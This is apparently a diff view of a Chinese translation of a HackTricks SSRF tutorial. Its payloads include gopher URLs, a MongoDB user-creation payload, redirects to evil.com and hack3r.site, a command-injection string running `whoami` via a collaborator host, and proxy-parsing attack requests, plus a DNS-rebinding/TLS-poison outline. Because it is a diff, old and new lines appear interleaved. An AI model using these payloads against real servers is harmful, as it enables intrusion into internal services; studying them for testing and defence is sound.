幸运的是,您可以使用[Gopherus](https://github.com/tarunkant/Gopherus)为多个服务创建有效载荷。此外,可以使用[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)为Java RMI服务创建_gopher_有效载荷。
|
||||
使用该协议,您可以指定要**发送**给服务器的**IP、端口和字节**。然后,您基本上可以利用SSRF与**任何TCP服务器通信**(但首先需要了解如何与该服务通信)。\
|
||||
幸运的是,您可以使用[Gopherus](https://github.com/tarunkant/Gopherus)为多个服务创建有效载荷。此外,[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)可用于为Java RMI服务创建_gopher_有效载荷。
|
||||
|
||||
**Gopher smtp**
|
||||
```
|
||||
|
@ -104,7 +104,7 @@ QUIT
|
|||
```
|
||||
**Gopher HTTP**
|
||||
|
||||
**Gopher HTTP** 是一种利用 SSRF 漏洞执行的攻击技术。通过构造特定的 Gopher URL,可以向目标服务器发起 HTTP 请求,从而实现服务器端请求伪造(SSRF)。
|
||||
**Gopher HTTP** 是一种利用 Gopher 协议进行 SSRF 攻击的技术。在进行 SSRF 攻击时,攻击者可以构造恶意请求,使目标服务器通过 Gopher 协议访问恶意控制的 Gopher 服务器,从而实现攻击。
|
||||
```bash
|
||||
#For new lines you can use %0A, %0D%0A
|
||||
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
||||
|
@ -119,6 +119,8 @@ header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
|
|||
?>Now query it.
|
||||
https://example.com/?q=http://evil.com/redirect.php.
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Gopher MongoDB -- 使用用户名为admin、密码为admin123且权限为管理员创建用户
|
||||
```bash
|
||||
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
||||
|
@ -128,13 +130,13 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
|||
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
|
||||
%00%00administrator%00%00%00%00'
|
||||
```
|
||||
## 通过 Referrer 头部和其他方式进行 SSRF 攻击
|
||||
## 通过Referrer头部和其他方式进行SSRF攻击
|
||||
|
||||
服务器上的分析软件通常记录 Referrer 头部以跟踪传入链接,这种做法无意中会使应用程序暴露于服务器端请求伪造(SSRF)漏洞。这是因为这类软件可能会访问 Referrer 头部中提到的外部 URL 来分析引荐站点内容。为了发现这些漏洞,建议使用 Burp Suite 插件 "**Collaborator Everywhere**",利用分析工具处理 Referer 头部的方式来识别潜在的 SSRF 攻击面。
|
||||
服务器上的分析软件通常记录Referrer头部以跟踪传入链接,这种做法无意中使应用程序暴露于服务器端请求伪造(SSRF)漏洞。这是因为这种软件可能访问Referrer头部中提到的外部URL来分析引荐站点内容。为了发现这些漏洞,建议使用Burp Suite插件“**Collaborator Everywhere**”,利用分析工具处理Referer头部的方式来识别潜在的SSRF攻击面。
|
||||
|
||||
## 通过证书中的 SNI 数据进行 SSRF 攻击
|
||||
## 通过证书中的SNI数据进行SSRF攻击
|
||||
|
||||
通过一个示例 Nginx 配置展示了一种可能使连接到任何后端变得简单的错误配置:
|
||||
通过一个示例Nginx配置展示了一种可能使连接到任何后端变得简单的错误配置:
|
||||
```
|
||||
stream {
|
||||
server {
|
||||
|
@ -145,19 +147,19 @@ ssl_preread on;
|
|||
}
|
||||
}
|
||||
```
|
||||
在这个配置中,来自服务器名称指示(SNI)字段的值直接被用作后端地址。这种设置暴露了服务器端请求伪造(SSRF)的漏洞,可以通过在SNI字段中简单指定所需的IP地址或域名来利用。下面是一个利用示例,使用`openssl`命令强制连接到任意后端,比如`internal.host.com`:
|
||||
在这个配置中,来自服务器名称指示(SNI)字段的值直接被用作后端地址。这种设置暴露了服务器端请求伪造(SSRF)的漏洞,可以通过在SNI字段中简单地指定所需的IP地址或域名来利用。下面是一个利用示例,使用`openssl`命令强制连接到任意后端,比如`internal.host.com`:
|
||||
```bash
|
||||
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
```
|
||||
## [Wget 文件上传](../file-upload/#wget-file-upload-ssrf-trick)
|
||||
## [Wget文件上传](../file-upload/#wget-file-upload-ssrf-trick)
|
||||
|
||||
## SSRF与命令注入
|
||||
|
||||
值得尝试的有效负载可能是:`` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
值得尝试的有效载荷可能是:`` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
|
||||
## PDF渲染
|
||||
|
||||
如果网页自动创建了一个包含您提供信息的PDF,您可以**插入一些JS代码,这些代码将由PDF创建者本身(服务器)执行**,从而在创建PDF时滥用SSRF。[**在此处查找更多信息**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
如果网页自动创建了包含您提供信息的PDF,您可以**插入一些JS代码,这些代码将由PDF创建者本身(服务器)执行**,从而在创建PDF时滥用SSRF。[**在此处查找更多信息**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## 从SSRF到DoS
|
||||
|
||||
|
@ -206,14 +208,86 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建并通过世界上**最先进**的社区工具**自动化工作流程**。\
|
||||
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)可以轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 配置错误的代理到SSRF
|
||||
|
||||
来自[**这篇文章**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)的技巧。
|
||||
|
||||
### Flask
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Flask代理易受攻击的代码</summary>
|
||||
```python
|
||||
from flask import Flask
|
||||
from requests import get
|
||||
|
||||
app = Flask('__main__')
|
||||
SITE_NAME = 'https://google.com'
|
||||
|
||||
@app.route('/', defaults={'path': ''})
|
||||
@app.route('/<path:path>')
|
||||
|
||||
def proxy(path):
|
||||
return get(f'{SITE_NAME}{path}').content
|
||||
|
||||
if __name__ == "__main__":
|
||||
app.run(threaded=False)
|
||||
```
|
||||
</details>
|
||||
|
||||
Flask允许使用**`@`**作为初始字符,这允许将**初始主机名作为用户名**并注入一个新的。攻击请求:
|
||||
```http
|
||||
GET @evildomain.com/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
**易受攻击的代码:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (729).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
发现可以通过在请求路径的开头使用字符 **`;`**,然后使用 **`@`** 注入新主机以访问。攻击请求:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
### PHP内置Web服务器 <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>受漏洞影响的PHP代码</summary>
|
||||
```php
|
||||
<?php
|
||||
$site = "http://ifconfig.me";
|
||||
$current_uri = $_SERVER['REQUEST_URI'];
|
||||
|
||||
$proxy_site = $site.$current_uri;
|
||||
var_dump($proxy_site);
|
||||
|
||||
echo "\n\n";
|
||||
|
||||
$response = file_get_contents($proxy_site);
|
||||
var_dump($response);
|
||||
?>
|
||||
```
|
||||
</details>
|
||||
|
||||
PHP允许在URL路径中的斜杠前使用**字符`*`**,但它有其他限制,比如它只能用于根路径`/`,并且在第一个斜杠之前不允许使用点`.`,因此需要使用无点十六进制编码的IP地址,例如:
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## DNS Rebinding CORS/SOP绕过
|
||||
|
||||
如果由于**CORS/SOP**的限制而无法从本地IP**泄露内容**,可以使用**DNS Rebinding**来绕过该限制:
|
||||
如果由于CORS/SOP而无法从本地IP中窃取内容,可以使用DNS Rebinding来绕过这种限制:
|
||||
|
||||
{% content-ref url="../cors-bypass.md" %}
|
||||
[cors-bypass.md](../cors-bypass.md)
|
||||
|
@ -221,11 +295,11 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
|
||||
### 自动化DNS Rebinding
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)是执行[DNS重新绑定](https://en.wikipedia.org/wiki/DNS\_rebinding)攻击的工具。它包括重新绑定攻击服务器DNS名称的IP地址到目标机器的IP地址以及提供攻击载荷以利用目标机器上的易受攻击软件所需的组件。
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)是一个执行[DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)攻击的工具。它包括重新绑定攻击服务器DNS名称的IP地址到目标机器的IP地址以及提供攻击载荷以利用目标机器上的易受攻击软件所需的组件。
|
||||
|
||||
还可以查看在[**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)上公开运行的服务器
|
||||
|
||||
## DNS Rebinding + TLS会话ID/会话票证
|
||||
## DNS Rebinding + TLS会话ID/会话票据
|
||||
|
||||
要求:
|
||||
|
||||
|
@ -235,15 +309,15 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
|
||||
攻击:
|
||||
|
||||
1. 要求用户/机器人**访问**由**攻击者控制**的**域**
|
||||
1. 要求用户/机器人访问由攻击者控制的**域**
|
||||
2. **DNS**的**TTL**为**0**秒(因此受害者将很快再次检查域的IP)
|
||||
3. 在受害者和攻击者域之间创建**TLS连接**。攻击者在**会话ID或会话票证**中引入**载荷**。
|
||||
4. **域**将对**自身**发起**无限重定向循环**。这样做的目的是使用户/机器人访问该域,直到再次执行**域的DNS请求**。
|
||||
5. 在DNS请求中,**现在**提供**私有IP**地址(例如127.0.0.1)
|
||||
6. 用户/机器人将尝试**重新建立TLS连接**,为此将**发送****会话**ID/票证ID(其中包含攻击者的**载荷**)。恭喜,您成功要求**用户/机器人攻击自己**。
|
||||
3. 在受害者和攻击者域之间创建了**TLS连接**。攻击者在**会话ID或会话票据**中引入了**载荷**。
|
||||
4. **域**将对**自己**启动**无限重定向循环**。这样做的目的是使用户/机器人访问该域,直到再次执行**域的DNS请求**。
|
||||
5. 在DNS请求中,现在提供了一个**私有IP**地址(例如127.0.0.1)
|
||||
6. 用户/机器人将尝试**重新建立TLS连接**,为此将**发送****会话**ID/票据ID(其中包含攻击者的**载荷**)。恭喜,您成功要求**用户/机器人攻击自己**。
|
||||
|
||||
请注意,在此攻击期间,如果要攻击localhost:11211(_memcache_),则需要使受害者与www.attacker.com:11211(**端口必须始终相同**)建立初始连接。\
|
||||
要**执行此攻击,可以使用该工具**:[https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
要**执行此攻击,可以使用工具**:[https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
要了解更多信息,请查看解释此攻击的讲座:[https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
||||
|
||||
## 盲SSRF
|
||||
|
@ -256,7 +330,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
|
||||
## 云SSRF利用
|
||||
|
||||
如果在云环境中运行的机器中发现了SSRF漏洞,则可能可以获取有关云环境甚至凭据的有趣信息:
|
||||
如果在云环境中运行的机器中发现了SSRF漏洞,您可能能够获取有关云环境甚至凭据的有趣信息:
|
||||
|
||||
{% content-ref url="cloud-ssrf.md" %}
|
||||
[cloud-ssrf.md](cloud-ssrf.md)
|
||||
|
@ -264,7 +338,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
|
||||
## SSRF易受攻击平台
|
||||
|
||||
多个已知平台包含或曾包含SSRF漏洞,请在以下位置检查:
|
||||
一些已知平台包含或曾包含SSRF漏洞,请在以下位置检查:
|
||||
|
||||
{% content-ref url="ssrf-vulnerable-platforms.md" %}
|
||||
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
|
||||
|
@ -280,7 +354,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
|
||||
* [Gopherus的博客文章](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
||||
|
||||
此工具为以下生成Gopher载荷:
|
||||
该工具为以下生成Gopher载荷:
|
||||
|
||||
* MySQL
|
||||
* PostgreSQL
|
||||
|
@ -293,11 +367,11 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
|
||||
* [关于SSRF用法的博客文章](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_是一个支持大多数常见_Java RMI_漏洞的攻击操作的_Java RMI_漏洞扫描程序。大多数可用操作都支持`--ssrf`选项,以生成所请求操作的SSRF载荷。结合`--gopher`选项,可以直接生成可用的_gopher_载荷。
|
||||
_remote-method-guesser_是一个支持大多数常见_Java RMI_漏洞的攻击操作的_Java RMI_漏洞扫描程序。大多数可用操作都支持`--ssrf`选项,以为请求的操作生成一个_SSRF_载荷。结合`--gopher`选项,可以直接生成可用的_gopher_载荷。
|
||||
|
||||
### [SSRF代理](https://github.com/bcoles/ssrf\_proxy)
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
||||
|
||||
SSRF代理是一个多线程HTTP代理服务器,旨在通过对Server-Side Request Forgery (SSRF)漏洞敏感的HTTP服务器来隧道化客户端HTTP流量。
|
||||
SSRF Proxy是一个多线程HTTP代理服务器,旨在通过对Server-Side Request Forgery (SSRF)漏洞敏感的HTTP服务器来传输客户端HTTP流量。
|
||||
|
||||
### 练习
|
||||
|
||||
|
@ -308,25 +382,4 @@ SSRF代理是一个多线程HTTP代理服务器,旨在通过对Server-Side Req
|
|||
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
||||
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建并通过世界上**最先进**的社区工具**自动化工作流程**。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
|
|
Loading…
Reference in a new issue